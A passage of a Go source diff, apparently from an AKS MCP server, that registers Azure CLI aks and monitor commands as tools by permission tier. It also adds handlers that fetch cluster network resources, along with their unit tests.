Description: "Show the details of a managed Kubernetes cluster", ArgsExample: "--name myAKSCluster --resource-group myResourceGroup"}, + {Name: "az aks list", Description: "List managed Kubernetes clusters", ArgsExample: "--resource-group myResourceGroup"}, + {Name: "az aks get-versions", Description: "Get the versions available for creating a managed Kubernetes cluster", ArgsExample: "--location eastus"}, + // {Name: "az aks get-upgrades", Description: "Get the upgrade versions available for a managed Kubernetes cluster", ArgsExample: "--name myAKSCluster --resource-group myResourceGroup"}, + // {Name: "az aks check-acr", Description: "Validate an ACR is accessible from an AKS cluster", ArgsExample: "--name myAKSCluster --resource-group myResourceGroup --acr myAcrName"}, + {Name: "az aks check-network outbound", Description: "Perform outbound network connectivity check for a node in a managed Kubernetes cluster", ArgsExample: "--name myAKSCluster --resource-group myResourceGroup"}, + + // Addon information commands + // {Name: "az aks addon list", Description: "List addons and their conditions in a managed Kubernetes cluster", ArgsExample: "--name myAKSCluster --resource-group myResourceGroup"}, + // {Name: "az aks addon show", Description: "Show details of an addon in a managed Kubernetes cluster", ArgsExample: "--name myAKSCluster --resource-group myResourceGroup --addon monitoring"}, + + // Nodepool information commands + {Name: "az aks nodepool list", Description: "List node pools in a managed Kubernetes cluster", ArgsExample: "--cluster-name myAKSCluster --resource-group myResourceGroup"}, + {Name: "az aks nodepool show", Description: "Show the details for a node pool in the managed Kubernetes cluster", ArgsExample: "--cluster-name myAKSCluster --resource-group myResourceGroup --name nodepool1"}, + // {Name: "az aks nodepool get-upgrades", Description: "Get the available upgrade versions for an agent pool of the managed Kubernetes cluster", ArgsExample: "--cluster-name myAKSCluster --resource-group myResourceGroup --name nodepool1"}, + + // Operations and snapshot commands + // {Name: "az aks operation", Description: "Show operation details on a managed Kubernetes cluster. Use 'show' with --operation-id for a specific operation, or 'show-latest' for the most recent operation", ArgsExample: "show --name myAKSCluster --resource-group myResourceGroup --operation-id 00000000-0000-0000-0000-000000000000 or show-latest --name myAKSCluster --resource-group myResourceGroup"}, + // {Name: "az aks snapshot list", Description: "List cluster snapshots", ArgsExample: "--resource-group myResourceGroup"}, + // {Name: "az aks snapshot show", Description: "Show the details of a cluster snapshot", ArgsExample: "--name myAKSCluster --resource-group myResourceGroup"}, + + // Trusted access read-only commands + // {Name: "az aks trustedaccess rolebinding list", Description: "List all the trusted access role bindings", ArgsExample: "--cluster-name myAKSCluster --resource-group myResourceGroup"}, + // {Name: "az aks trustedaccess rolebinding show", Description: "Get the specific trusted access role binding according to binding name", ArgsExample: "--cluster-name myAKSCluster --resource-group myResourceGroup --name myRoleBinding"}, + + // Other read-only commands + // {Name: "az aks install-cli", Description: "Download and install kubectl, the Kubernetes command-line tool", ArgsExample: ""}, + } +} + +// GetReadWriteAzCommands returns all read-write az commands +func GetReadWriteAzCommands() []AksCommand { + return []AksCommand{ + // Cluster management commands + {Name: "az aks create", Description: "Create a new managed Kubernetes cluster, use --help if you are not clear about the arguments.", ArgsExample: "--name myAKSCluster --resource-group myResourceGroup --node-count 1 --enable-addons monitoring --generate-ssh-keys"}, + {Name: "az aks delete", Description: "Delete a managed Kubernetes cluster", ArgsExample: "--name myAKSCluster --resource-group myResourceGroup --yes"}, + {Name: "az aks scale", Description: "Scale the node pool in a managed Kubernetes cluster", ArgsExample: "--name myAKSCluster --resource-group myResourceGroup --node-count 3"}, + {Name: "az aks update", Description: "Update a managed Kubernetes cluster, use --help if you are not clear about the arguments.", ArgsExample: "--name myAKSCluster --resource-group myResourceGroup --enable-cluster-autoscaler --min-count 1 --max-count 3"}, + {Name: "az aks upgrade", Description: "Upgrade a managed Kubernetes cluster to a newer version", ArgsExample: "--name myAKSCluster --resource-group myResourceGroup --kubernetes-version 1.28.0"}, + // {Name: "az aks start", Description: "Starts a previously stopped Managed Cluster", ArgsExample: "--name myAKSCluster --resource-group myResourceGroup"}, + // {Name: "az aks stop", Description: "Stop a managed cluster", ArgsExample: "--name myAKSCluster --resource-group myResourceGroup"}, + // {Name: "az aks operation-abort", Description: "Abort last running operation on managed cluster", ArgsExample: "--name myAKSCluster --resource-group myResourceGroup"}, + // {Name: "az aks rotate-certs", Description: "Rotate certificates and keys on a managed Kubernetes cluster", ArgsExample: "--name myAKSCluster --resource-group myResourceGroup"}, + + // Nodepool management commands + {Name: "az aks nodepool add", Description: "Add a node pool to the managed Kubernetes cluster, use --help if you are not clear about the arguments.", ArgsExample: "--cluster-name myAKSCluster --resource-group myResourceGroup --name nodepool2 --node-count 3"}, + {Name: "az aks nodepool delete", Description: "Delete a node pool from the managed Kubernetes cluster", ArgsExample: "--cluster-name myAKSCluster --resource-group myResourceGroup --name nodepool2"}, + {Name: "az aks nodepool scale", Description: "Scale a node pool in a managed Kubernetes cluster", ArgsExample: "--cluster-name myAKSCluster --resource-group myResourceGroup --name nodepool1 --node-count 3"}, + {Name: "az aks nodepool upgrade", Description: "Upgrade a node pool to a newer version", ArgsExample: "--cluster-name myAKSCluster --resource-group myResourceGroup --name nodepool1 --kubernetes-version 1.28.0"}, + // {Name: "az aks nodepool update", Description: "Update a node pool properties", ArgsExample: "--cluster-name myAKSCluster --resource-group myResourceGroup --name nodepool1 --enable-cluster-autoscaler"}, + // {Name: "az aks nodepool start", Description: "Start stopped agent pool in the managed Kubernetes cluster", ArgsExample: "--cluster-name myAKSCluster --resource-group myResourceGroup --name nodepool1"}, + // {Name: "az aks nodepool stop", Description: "Stop running agent pool in the managed Kubernetes cluster", ArgsExample: "--cluster-name myAKSCluster --resource-group myResourceGroup --name nodepool1"}, + // {Name: "az aks nodepool operation-abort", Description: "Abort last running operation on nodepool", ArgsExample: "--cluster-name myAKSCluster --resource-group myResourceGroup --name nodepool1"}, + // {Name: "az aks nodepool delete-machines", Description: "Delete specific machines in an agentpool for a managed cluster", ArgsExample: "--cluster-name myAKSCluster --resource-group myResourceGroup --name nodepool1 --machine-names machine1"}, + + // Addon management + // {Name: "az aks enable-addons", Description: "Enable Kubernetes addons", ArgsExample: "--addons monitoring --name myAKSCluster --resource-group myResourceGroup"}, + // {Name: "az aks disable-addons", Description: "Disable Kubernetes addons", ArgsExample: "--addons monitoring --name myAKSCluster --resource-group myResourceGroup"}, + // {Name: "az aks approuting enable", Description: "Enable App Routing addon for a managed Kubernetes cluster", ArgsExample: "--name myAKSCluster --resource-group myResourceGroup"}, + // {Name: "az aks approuting disable", Description: "Disable App Routing addon for a managed Kubernetes cluster", ArgsExample: "--name myAKSCluster --resource-group myResourceGroup"}, + + // Snapshot commands + // {Name: "az aks snapshot create", Description: "Create a snapshot of a cluster", ArgsExample: "-g MyResourceGroup -n snapshot1 --cluster-id \"/subscriptions/00000/resourceGroups/AnotherResourceGroup/providers/Microsoft.ContainerService/managedClusters/akscluster1\""}, + // {Name: "az aks snapshot delete", Description: "Delete a cluster snapshot", ArgsExample: "--name myAKSSnapshot --resource-group myResourceGroup"}, + // {Name: "az aks nodepool snapshot create", Description: "Create a nodepool snapshot", ArgsExample: "-g MyResourceGroup -n snapshot1 --nodepool-id \"/subscriptions/00000/resourceGroups/AnotherResourceGroup/providers/Microsoft.ContainerService/managedClusters/akscluster1/agentPools/nodepool1\""}, + // {Name: "az aks nodepool snapshot delete", Description: "Delete a nodepool snapshot", ArgsExample: "--name myNodepoolSnapshot --resource-group myResourceGroup"}, + + // Maintenance commands + // {Name: "az aks maintenanceconfiguration add", Description: "Add a maintenance configuration in managed Kubernetes cluster", ArgsExample: "--cluster-name myAKSCluster --resource-group myResourceGroup -n default --weekday Monday --start-hour 1"}, + // {Name: "az aks maintenanceconfiguration delete", Description: "Delete a maintenance configuration in managed Kubernetes cluster", ArgsExample: "--cluster-name myAKSCluster --resource-group myResourceGroup -n default"}, + // {Name: "az aks maintenanceconfiguration update", Description: "Update a maintenance configuration of a managed Kubernetes cluster", ArgsExample: "--cluster-name myAKSCluster --resource-group myResourceGroup -n default --weekday Monday --start-hour 1"}, + + // Command execution + // {Name: "az aks command invoke", Description: "Invoke a command on a managed Kubernetes cluster", ArgsExample: "--name myAKSCluster --resource-group myResourceGroup --command \"kubectl get pods -n kube-system\""}, + // {Name: "az aks command result", Description: "Get the result of a previously invoked command", ArgsExample: "--name myAKSCluster --resource-group myResourceGroup --command-id 00000000-0000-0000-0000-000000000000"}, + + // Security and advanced features + // {Name: "az aks pod-identity add", Description: "Add a pod identity to a managed Kubernetes cluster", ArgsExample: "--cluster-name myAKSCluster --resource-group myResourceGroup --namespace my-namespace --name my-identity --identity-resource-id /subscriptions/SUB_ID/resourcegroups/RG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/ID"}, + // {Name: "az aks pod-identity delete", Description: "Remove a pod identity from a managed Kubernetes cluster", ArgsExample: "--cluster-name myAKSCluster --resource-group myResourceGroup --namespace my-namespace --name my-identity"}, + // {Name: "az aks trustedaccess rolebinding create", Description: "Create a new trusted access role binding", ArgsExample: "--cluster-name myAKSCluster --resource-group myResourceGroup --name myRoleBinding --source-resource-id /subscriptions/0000/resourceGroups/myResourceGroup/providers/Microsoft.Demo/samples --roles Microsoft.Demo/samples/reader,Microsoft.Demo/samples/writer"}, + // {Name: "az aks trustedaccess rolebinding delete", Description: "Delete a trusted access role binding according to name", ArgsExample: "--cluster-name myAKSCluster --resource-group myResourceGroup --name myRoleBinding"}, + // {Name: "az aks trustedaccess rolebinding update", Description: "Update a trusted access role binding", ArgsExample: "--cluster-name myAKSCluster --resource-group myResourceGroup --name myRoleBinding --roles Microsoft.Demo/samples/reader,Microsoft.Demo/samples/writer"}, + // {Name: "az aks oidc-issuer rotate-signing-keys", Description: "Rotate oidc issuer service account signing keys", ArgsExample: "--name myAKSCluster --resource-group myResourceGroup"}, + + // Service mesh + // {Name: "az aks mesh enable", Description: "Enable Azure Service Mesh in a managed Kubernetes cluster", ArgsExample: "--name myAKSCluster --resource-group myResourceGroup"}, + // {Name: "az aks mesh disable", Description: "Disable Azure Service Mesh in a managed Kubernetes cluster", ArgsExample: "--name myAKSCluster --resource-group myResourceGroup"}, + } +} + +// GetAccountAzCommands returns all Azure account management commands +func GetAccountAzCommands() []AksCommand { + return []AksCommand{ + {Name: "az account list", Description: "List all subscriptions for the authenticated account", ArgsExample: "--output table"}, + {Name: "az login", Description: "Log in to Azure using service principal credentials", ArgsExample: "--service-principal --username APP_ID --password PASSWORD --tenant TENANT_ID"}, + {Name: "az account set", Description: "Set a subscription as the current active subscription", ArgsExample: "--subscription mySubscriptionNameOrId"}, + } +} + +// GetAdminAzCommands returns all admin az commands +func GetAdminAzCommands() []AksCommand { + return []AksCommand{ + // Credential management (admin only) + {Name: "az aks get-credentials", Description: "Get access credentials for a managed Kubernetes cluster", ArgsExample: "--name myAKSCluster --resource-group myResourceGroup"}, + // {Name: "az aks update-credentials", Description: "Update credentials for a managed Kubernetes cluster", ArgsExample: "--name myAKSCluster --resource-group myResourceGroup --reset-service-principal --service-principal CLIENT_ID --client-secret CLIENT_SECRET"}, + } +} diff --git a/internal/components/azaks/registry_test.go b/internal/components/azaks/registry_test.go new file mode 100644 index 0000000..fdb6f31 --- /dev/null +++ b/internal/components/azaks/registry_test.go @@ -0,0 +1,78 @@ +package azaks + +import ( + "testing" +) + +func TestGetReadOnlyAzCommands_ContainsNodepoolCommands(t *testing.T) { + commands := GetReadOnlyAzCommands() + + // Check that nodepool list command is included + foundNodepoolList := false + foundNodepoolShow := false + + for _, cmd := range commands { + if cmd.Name == "az aks nodepool list" { + foundNodepoolList = true + if cmd.Description == "" { + t.Error("Expected nodepool list command to have a description") + } + if cmd.ArgsExample == "" { + t.Error("Expected nodepool list command to have an args example") + } + } + if cmd.Name == "az aks nodepool show" { + foundNodepoolShow = true + if cmd.Description == "" { + t.Error("Expected nodepool show command to have a description") + } + if cmd.ArgsExample == "" { + t.Error("Expected nodepool show command to have an args example") + } + } + } + + if !foundNodepoolList { + t.Error("Expected to find 'az aks nodepool list' command in read-only commands") + } + + if !foundNodepoolShow { + t.Error("Expected to find 'az aks nodepool show' command in read-only commands") + } +} + +func TestRegisterAzCommand_NodepoolCommands(t *testing.T) { + // Test that nodepool list command can be registered + listCmd := AksCommand{ + Name: "az aks nodepool list", + Description: "List node pools in a managed Kubernetes cluster", + ArgsExample: "--cluster-name myAKSCluster --resource-group myResourceGroup", + } + + tool := RegisterAzCommand(listCmd) + + if tool.Name != "az_aks_nodepool_list" { + t.Errorf("Expected tool name 'az_aks_nodepool_list', got '%s'", tool.Name) + } + + if tool.Description == "" { + t.Error("Expected tool description to be set") + } + + // Test that nodepool show command can be registered + showCmd := AksCommand{ + Name: "az aks nodepool show", + Description: "Show the details for a node pool in the managed Kubernetes cluster", + ArgsExample: "--cluster-name myAKSCluster --resource-group myResourceGroup --name nodepool1", + } + + tool2 := RegisterAzCommand(showCmd) + + if tool2.Name != "az_aks_nodepool_show" { + t.Errorf("Expected tool name 'az_aks_nodepool_show', got '%s'", tool2.Name) + } + + if tool2.Description == "" { + t.Error("Expected tool description to be set") + } +} diff --git a/internal/components/monitor/registry.go b/internal/components/monitor/registry.go new file mode 100644 index 0000000..5b2c68b --- /dev/null +++ b/internal/components/monitor/registry.go @@ -0,0 +1,71 @@ +package monitor + +import ( + "github.com/Azure/aks-mcp/internal/utils" + "github.com/mark3labs/mcp-go/mcp" +) + +// MonitorCommand defines a specific az monitor command to be registered as a tool +type MonitorCommand struct { + Name string + Description string + ArgsExample string // Example of command arguments + Category string // Category for the command (e.g., "metrics", "logs") +} + +// RegisterMonitorCommand registers a specific az monitor command as an MCP tool +func RegisterMonitorCommand(cmd MonitorCommand) mcp.Tool { + // Convert spaces to underscores for valid tool name + commandName := cmd.Name + validToolName := utils.ReplaceSpacesWithUnderscores(commandName) + + description := "Run " + cmd.Name + " command: " + cmd.Description + "." + + // Add example if available, with proper punctuation + if cmd.ArgsExample != "" { + description += "\nExample: `" + cmd.ArgsExample + "`" + } + + return mcp.NewTool(validToolName, + mcp.WithDescription(description), + mcp.WithString("args", + mcp.Required(), + mcp.Description("Arguments for the `"+cmd.Name+"` command"), + ), + ) +} + +// GetReadOnlyMonitorCommands returns all read-only az monitor commands +func GetReadOnlyMonitorCommands() []MonitorCommand { + return []MonitorCommand{ + // Metrics commands + { + Name: "az monitor metrics list", + Description: "List the metric values for a resource", + ArgsExample: "--resource /subscriptions/{subscription}/resourceGroups/{resourceGroup}/providers/Microsoft.Compute/virtualMachines/{vmName} --metric \"Percentage CPU\"", + Category: "metrics", + }, + { + Name: "az monitor metrics list-definitions", + Description: "List the metric definitions for a resource", + ArgsExample: "--resource /subscriptions/{subscription}/resourceGroups/{resourceGroup}/providers/Microsoft.ContainerService/managedClusters/{clusterName}", + Category: "metrics", + }, + { + Name: "az monitor metrics list-namespaces", + Description: "List the metric namespaces for a resource", + ArgsExample: "--resource /subscriptions/{subscription}/resourceGroups/{resourceGroup}/providers/Microsoft.ContainerService/managedClusters/{clusterName}", + Category: "metrics", + }, + } +} + +// GetReadWriteMonitorCommands returns all read-write az monitor commands +func GetReadWriteMonitorCommands() []MonitorCommand { + return []MonitorCommand{} +} + +// GetAdminMonitorCommands returns all admin az monitor commands +func GetAdminMonitorCommands() []MonitorCommand { + return []MonitorCommand{} +} diff --git a/internal/components/monitor/registry_test.go b/internal/components/monitor/registry_test.go new file mode 100644 index 0000000..af270b0 --- /dev/null +++ b/internal/components/monitor/registry_test.go @@ -0,0 +1,175 @@ +package monitor + +import ( + "testing" +) + +func TestGetReadOnlyMonitorCommands_ContainsMetricsCommands(t *testing.T) { + commands := GetReadOnlyMonitorCommands() + + // Verify we have the expected number of commands + expectedCommands := 3 + if len(commands) != expectedCommands { + t.Errorf("Expected %d read-only commands, got %d", expectedCommands, len(commands)) + } + + // Check that specific metric commands are included + foundMetricsList := false + foundMetricsDefinitions := false + foundMetricsNamespaces := false + + for _, cmd := range commands { + switch cmd.Name { + case "az monitor metrics list": + foundMetricsList = true + if cmd.Description == "" { + t.Error("Expected metrics list command to have a description") + } + if cmd.ArgsExample == "" { + t.Error("Expected metrics list command to have an args example") + } + if cmd.Category != "metrics" { + t.Errorf("Expected metrics list command to have category 'metrics', got '%s'", cmd.Category) + } + case "az monitor metrics list-definitions": + foundMetricsDefinitions = true + if cmd.Description == "" { + t.Error("Expected metrics list-definitions command to have a description") + } + if cmd.ArgsExample == "" { + t.Error("Expected metrics list-definitions command to have an args example") + } + if cmd.Category != "metrics" { + t.Errorf("Expected metrics list-definitions command to have category 'metrics', got '%s'", cmd.Category) + } + case "az monitor metrics list-namespaces": + foundMetricsNamespaces = true + if cmd.Description == "" { + t.Error("Expected metrics list-namespaces command to have a description") + } + if cmd.ArgsExample == "" { + t.Error("Expected metrics list-namespaces command to have an args example") + } + if cmd.Category != "metrics" { + t.Errorf("Expected metrics list-namespaces command to have category 'metrics', got '%s'", cmd.Category) + } + } + } + + if !foundMetricsList { + t.Error("Expected to find 'az monitor metrics list' command in read-only commands") + } + + if !foundMetricsDefinitions { + t.Error("Expected to find 'az monitor metrics list-definitions' command in read-only commands") + } + + if !foundMetricsNamespaces { + t.Error("Expected to find 'az monitor metrics list-namespaces' command in read-only commands") + } +} + +func TestRegisterMonitorCommand_MetricsCommands(t *testing.T) { + // Test that metrics list command can be registered + listCmd := MonitorCommand{ + Name: "az monitor metrics list", + Description: "List the metric values for a resource", + ArgsExample: "--resource /subscriptions/{subscription}/resourceGroups/{resourceGroup}/providers/Microsoft.Compute/virtualMachines/{vmName} --metric \"Percentage CPU\"", + Category: "metrics", + } + + tool := RegisterMonitorCommand(listCmd) + + if tool.Name != "az_monitor_metrics_list" { + t.Errorf("Expected tool name 'az_monitor_metrics_list', got '%s'", tool.Name) + } + + if tool.Description == "" { + t.Error("Expected tool description to be set") + } + + expectedDescription := "Run az monitor metrics list command: List the metric values for a resource.\nExample: `--resource /subscriptions/{subscription}/resourceGroups/{resourceGroup}/providers/Microsoft.Compute/virtualMachines/{vmName} --metric \"Percentage CPU\"`" + if tool.Description != expectedDescription { + t.Errorf("Expected tool description to contain example, got: %s", tool.Description) + } + + // Test that metrics list-definitions command can be registered + definitionsCmd := MonitorCommand{ + Name: "az monitor metrics list-definitions", + Description: "List the metric definitions for a resource", + ArgsExample: "--resource /subscriptions/{subscription}/resourceGroups/{resourceGroup}/providers/Microsoft.ContainerService/managedClusters/{clusterName}", + Category: "metrics", + } + + tool2 := RegisterMonitorCommand(definitionsCmd) + + if tool2.Name != "az_monitor_metrics_list-definitions" { + t.Errorf("Expected tool name 'az_monitor_metrics_list-definitions', got '%s'", tool2.Name) + } + + if tool2.Description == "" { + t.Error("Expected tool description to be set") + } +} + +func TestRegisterMonitorCommand_WithoutArgsExample(t *testing.T) { + // Test command registration without args example + cmd := MonitorCommand{ + Name: "az monitor test", + Description: "Test command", + ArgsExample: "", + Category: "test", + } + + tool := RegisterMonitorCommand(cmd) + + if tool.Name != "az_monitor_test" { + t.Errorf("Expected tool name 'az_monitor_test', got '%s'", tool.Name) + } + + expectedDescription := "Run az monitor test command: Test command." + if tool.Description != expectedDescription { + t.Errorf("Expected tool description '%s', got '%s'", expectedDescription, tool.Description) + } +} + +func TestGetReadWriteMonitorCommands_IsEmpty(t *testing.T) { + commands := GetReadWriteMonitorCommands() + + if len(commands) != 0 { + t.Errorf("Expected read-write commands to be empty, got %d commands", len(commands)) + } +} + +func TestGetAdminMonitorCommands_IsEmpty(t *testing.T) { + commands := GetAdminMonitorCommands() + + if len(commands) != 0 { + t.Errorf("Expected admin commands to be empty, got %d commands", len(commands)) + } +} + +func TestMonitorCommand_StructFields(t *testing.T) { + cmd := MonitorCommand{ + Name: "test name", + Description: "test description", + ArgsExample: "test args", + Category: "test category", + } + + if cmd.Name != "test name" { + t.Errorf("Expected Name to be 'test name', got '%s'", cmd.Name) + } + + if cmd.Description != "test description" { + t.Errorf("Expected Description to be 'test description', got '%s'", cmd.Description) + } + + if cmd.ArgsExample != "test args" { + t.Errorf("Expected ArgsExample to be 'test args', got '%s'", cmd.ArgsExample) + } + + if cmd.Category != "test category" { + t.Errorf("Expected Category to be 'test category', got '%s'", cmd.Category) + } +} diff --git a/internal/components/network/handlers.go b/internal/components/network/handlers.go new file mode 100644 index 0000000..fbb0168 --- /dev/null +++ b/internal/components/network/handlers.go @@ -0,0 +1,311 @@ +// Package resourcehandlers provides handler functions for Azure resource tools. +package network + +import ( + "context" + "encoding/json" + "fmt" + + "github.com/Azure/aks-mcp/internal/azureclient" + "github.com/Azure/aks-mcp/internal/components/network/resourcehelpers" + "github.com/Azure/aks-mcp/internal/config" + "github.com/Azure/aks-mcp/internal/tools" + "github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/containerservice/armcontainerservice/v2" + "github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/network/armnetwork/v2" +) + +// ============================================================================= +// Network-related Handlers +// ============================================================================= + +// GetVNetInfoHandler returns a handler for the get_vnet_info command +func GetVNetInfoHandler(client *azureclient.AzureClient, cfg *config.ConfigData) tools.ResourceHandler { + return tools.ResourceHandlerFunc(func(params map[string]interface{}, _ *config.ConfigData) (string, error) { + // Extract parameters + subID, rg, clusterName, err := ExtractAKSParameters(params) + if err != nil { + return "", err + } + + // Get the cluster details + ctx := context.Background() + cluster, err := GetClusterDetails(ctx, client, subID, rg, clusterName) + if err != nil { + return "", fmt.Errorf("failed to get cluster details: %v", err) + } + + // Get the VNet ID from the cluster + vnetID, err := resourcehelpers.GetVNetIDFromAKS(ctx, cluster, client) + if err != nil { + return "", fmt.Errorf("failed to get VNet ID: %v", err) + } + + // Get the VNet details using the resource ID + vnetInterface, err := client.GetResourceByID(ctx, vnetID) + if err != nil { + return "", fmt.Errorf("failed to get VNet details: %v", err) + } + + vnet, ok := vnetInterface.(*armnetwork.VirtualNetwork) + if !ok { + return "", fmt.Errorf("unexpected resource type returned for VNet") + } + + // Return the VNet details directly as JSON + resultJSON, err := json.MarshalIndent(vnet, "", " ") + if err != nil { + return "", fmt.Errorf("failed to marshal VNet info to JSON: %v", err) + } + + return string(resultJSON), nil + }) +} + +// GetNSGInfoHandler returns a handler for the get_nsg_info command +func GetNSGInfoHandler(client *azureclient.AzureClient, cfg *config.ConfigData) tools.ResourceHandler { + return tools.ResourceHandlerFunc(func(params map[string]interface{}, _ *config.ConfigData) (string, error) { + // Extract parameters + subID, rg, clusterName, err := ExtractAKSParameters(params) + if err != nil { + return "", err + } + + // Get the cluster details + ctx := context.Background() + cluster, err := GetClusterDetails(ctx, client, subID, rg, clusterName) + if err != nil { + return "", fmt.Errorf("failed to get cluster details: %v", err) + } + + // Get the NSG ID from the cluster + nsgID, err := resourcehelpers.GetNSGIDFromAKS(ctx, cluster, client) + if err != nil { + return "", fmt.Errorf("failed to get NSG ID: %v", err) + } + + // Get the NSG details using the resource ID + nsgInterface, err := client.GetResourceByID(ctx, nsgID) + if err != nil { + return "", fmt.Errorf("failed to get NSG details: %v", err) + } + + nsg, ok := nsgInterface.(*armnetwork.SecurityGroup) + if !ok { + return "", fmt.Errorf("unexpected resource type returned for NSG") + } + + // Return the NSG details directly as JSON + resultJSON, err := json.MarshalIndent(nsg, "", " ") + if err != nil { + return "", fmt.Errorf("failed to marshal NSG info to JSON: %v", err) + } + + return string(resultJSON), nil + }) +} + +// GetRouteTableInfoHandler returns a handler for the get_route_table_info command +func GetRouteTableInfoHandler(client *azureclient.AzureClient, cfg *config.ConfigData) tools.ResourceHandler { + return tools.ResourceHandlerFunc(func(params map[string]interface{}, _ *config.ConfigData) (string, error) { + // Extract parameters + subID, rg, clusterName, err := ExtractAKSParameters(params) + if err != nil { + return "", err + } + + // Get the cluster details + ctx := context.Background() + cluster, err := GetClusterDetails(ctx, client, subID, rg, clusterName) + if err != nil { + return "", fmt.Errorf("failed to get cluster details: %v", err) + } + + // Get the RouteTable ID from the cluster + rtID, err := resourcehelpers.GetRouteTableIDFromAKS(ctx, cluster, client) + if err != nil { + return "", fmt.Errorf("failed to get RouteTable ID: %v", err) + } + + // Check if no route table is attached (valid configuration state) + if rtID == "" { + // Return a message indicating no route table is attached + response := map[string]interface{}{ + "message": "No route table attached to the AKS cluster subnet", + "reason": "This is normal for AKS clusters using Azure CNI with Overlay mode or clusters that rely on Azure's default routing", + } + resultJSON, err := json.MarshalIndent(response, "", " ") + if err != nil { + return "", fmt.Errorf("failed to marshal response to JSON: %v", err) + } + return string(resultJSON), nil + } + + // Get the RouteTable details using the resource ID + rtInterface, err := client.GetResourceByID(ctx, rtID) + if err != nil { + return "", fmt.Errorf("failed to get RouteTable details: %v", err) + } + + rt, ok := rtInterface.(*armnetwork.RouteTable) + if !ok { + return "", fmt.Errorf("unexpected resource type returned for RouteTable") + } + + // Return the RouteTable details directly as JSON + resultJSON, err := json.MarshalIndent(rt, "", " ") + if err != nil { + return "", fmt.Errorf("failed to marshal RouteTable info to JSON: %v", err) + } + + return string(resultJSON), nil + }) +} + +// GetSubnetInfoHandler returns a handler for the get_subnet_info command +func GetSubnetInfoHandler(client *azureclient.AzureClient, cfg *config.ConfigData) tools.ResourceHandler { + return tools.ResourceHandlerFunc(func(params map[string]interface{}, _ *config.ConfigData) (string, error) { + // Extract parameters + subID, rg, clusterName, err := ExtractAKSParameters(params) + if err != nil { + return "", err + } + + // Get the cluster details + ctx := context.Background() + cluster, err := GetClusterDetails(ctx, client, subID, rg, clusterName) + if err != nil { + return "", fmt.Errorf("failed to get cluster details: %v", err) + } + + // Get the Subnet ID from the cluster + subnetID, err := resourcehelpers.GetSubnetIDFromAKS(ctx, cluster, client) + if err != nil { + return "", fmt.Errorf("failed to get Subnet ID: %v", err) + } + + // Get the Subnet details using the resource ID + subnetInterface, err := client.GetResourceByID(ctx, subnetID) + if err != nil { + return "", fmt.Errorf("failed to get Subnet details: %v", err) + } + + subnet, ok := subnetInterface.(*armnetwork.Subnet) + if !ok { + return "", fmt.Errorf("unexpected resource type returned for Subnet") + } + + // Return the Subnet details directly as JSON + resultJSON, err := json.MarshalIndent(subnet, "", " ") + if err != nil { + return "", fmt.Errorf("failed to marshal Subnet info to JSON: %v", err) + } + + return string(resultJSON), nil + }) +} + +// GetLoadBalancersInfoHandler returns a handler for the get_load_balancers_info command +func GetLoadBalancersInfoHandler(client *azureclient.AzureClient, cfg *config.ConfigData) tools.ResourceHandler { + return tools.ResourceHandlerFunc(func(params map[string]interface{}, _ *config.ConfigData) (string, error) { + // Extract parameters + subID, rg, clusterName, err := ExtractAKSParameters(params) + if err != nil { + return "", err + } + + // Get the cluster details + ctx := context.Background() + cluster, err := GetClusterDetails(ctx, client, subID, rg, clusterName) + if err != nil { + return "", fmt.Errorf("failed to get cluster details: %v", err) + } + + // Get the Load Balancer IDs from the cluster + lbIDs, err := resourcehelpers.GetLoadBalancerIDsFromAKS(ctx, cluster, client) + if err != nil { + return "", fmt.Errorf("failed to get Load Balancer IDs: %v", err) + } + + // Check if no load balancers are found (valid configuration state) + if len(lbIDs) == 0 { + // Return a message indicating no standard AKS load balancers are found + response := map[string]interface{}{ + "message": "No AKS load balancers (kubernetes/kubernetes-internal) found for this cluster", + "reason": "This cluster may not have standard AKS load balancers configured, or it may be using a different networking setup.", + } + resultJSON, err := json.MarshalIndent(response, "", " ") + if err != nil { + return "", fmt.Errorf("failed to marshal response to JSON: %v", err) + } + return string(resultJSON), nil + } + + // Get details for each load balancer + var loadBalancers []interface{} + for _, lbID := range lbIDs { + lbInterface, err := client.GetResourceByID(ctx, lbID) + if err != nil { + return "", fmt.Errorf("failed to get Load Balancer details for %s: %v", lbID, err) + } + + lb, ok := lbInterface.(*armnetwork.LoadBalancer) + if !ok { + return "", fmt.Errorf("unexpected resource type returned for Load Balancer %s", lbID) + } + + loadBalancers = append(loadBalancers, lb) + } + + // If only one load balancer, return it directly for backward compatibility + if len(loadBalancers) == 1 { + resultJSON, err := json.MarshalIndent(loadBalancers[0], "", " ") + if err != nil { + return "", fmt.Errorf("failed to marshal Load Balancer info to JSON: %v", err) + } + return string(resultJSON), nil + } + + // If multiple load balancers, return them as an array + result := map[string]interface{}{ + "count": len(loadBalancers), + "load_balancers": loadBalancers, + } + + resultJSON, err := json.MarshalIndent(result, "", " ") + if err != nil { + return "", fmt.Errorf("failed to marshal Load Balancer info to JSON: %v", err) + } + + return string(resultJSON), nil + }) +} + +// ============================================================================= +// Shared Helper Functions +// ============================================================================= + +// ExtractAKSParameters extracts and validates the common AKS parameters from the params map +func ExtractAKSParameters(params map[string]interface{}) (subscriptionID, resourceGroup, clusterName string, err error) { + subID, ok := params["subscription_id"].(string) + if !ok || subID == "" { + return "", "", "", fmt.Errorf("missing or invalid subscription_id parameter") + } + + rg, ok := params["resource_group"].(string) + if !ok || rg == "" { + return "", "", "", fmt.Errorf("missing or invalid resource_group parameter") + } + + clusterNameParam, ok := params["cluster_name"].(string) + if !ok || clusterNameParam == "" { + return "", "", "", fmt.Errorf("missing or invalid cluster_name parameter") + } + + return subID, rg, clusterNameParam, nil +} + +// GetClusterDetails gets the details of an AKS cluster +func GetClusterDetails(ctx context.Context, client *azureclient.AzureClient, subscriptionID, resourceGroup, clusterName string) (*armcontainerservice.ManagedCluster, error) { + // Get the cluster from Azure client (which now handles caching internally) + return client.GetAKSCluster(ctx, subscriptionID, resourceGroup, clusterName) +} diff --git a/internal/components/network/handlers_test.go b/internal/components/network/handlers_test.go new file mode 100644 index 0000000..c02cf0a --- /dev/null +++ b/internal/components/network/handlers_test.go @@ -0,0 +1,204 @@ +package network + +import ( + "testing" +) + +func TestExtractAKSParameters(t *testing.T) { + tests := []struct { + name string + params map[string]interface{} + expectedSubID string + expectedRG string + expectedCluster string + expectError bool + }{ + { + name: "valid parameters", + params: map[string]interface{}{ + "subscription_id": 